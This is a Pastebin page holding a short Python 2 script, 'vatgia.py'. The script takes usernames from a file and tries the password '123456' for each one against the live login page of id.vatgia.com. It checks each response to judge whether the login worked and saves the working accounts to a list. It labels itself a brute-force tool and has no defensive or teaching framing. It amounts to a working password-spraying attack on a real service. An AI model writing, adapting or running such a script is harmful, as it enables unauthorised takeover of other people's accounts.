Advertisement
parkdream1

vatgia.py

Aug 17th, 2013
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.06 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. import re
  4. import urllib2
  5. import time
  6. import cookielib
  7.  
  8. filename = 'account.txt'
  9. passwd = "123456"
  10.  
  11. with open(filename) as f:
  12.     for line in f:
  13.         line = line.replace("\n","")
  14.         print "Brute Force Account : %s" % line
  15.         POSTDATA = "SignInForm[username]=%s&SignInForm[password]=%s&SignInForm[remember]=0&btnSignIn=" % (line,passwd)
  16.         #print POSTDATA
  17.         URL = "https://id.vatgia.com/dang-nhap/"
  18.         URL2 = "https://id.vatgia.com/thiet-lap/"
  19.         try:
  20.             cj = cookielib.CookieJar()
  21.             opener = urllib2.build_opener(urllib2.HTTPRedirectHandler(),urllib2.HTTPCookieProcessor(cj))
  22.             opener.open(URL,POSTDATA)
  23.             #response = opener.open(URL,POSTDATA).read()
  24.             response1 = opener.open(URL2,POSTDATA).read()
  25.             #for cookie in cj:
  26.                 #print cookie
  27.             #open('debug/%s.html'%line, 'wb').write(response1)
  28.             result = re.findall(line, response1)
  29.             if len(result) >1:
  30.                 print "Login Account Ok"
  31.                 open('LstAccount.txt', 'a').write(line+"\n")
  32.             else:
  33.                 print "Login Account Error"
  34.             time.sleep(3)
  35.         except:
  36.             print str(line) + " Error"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement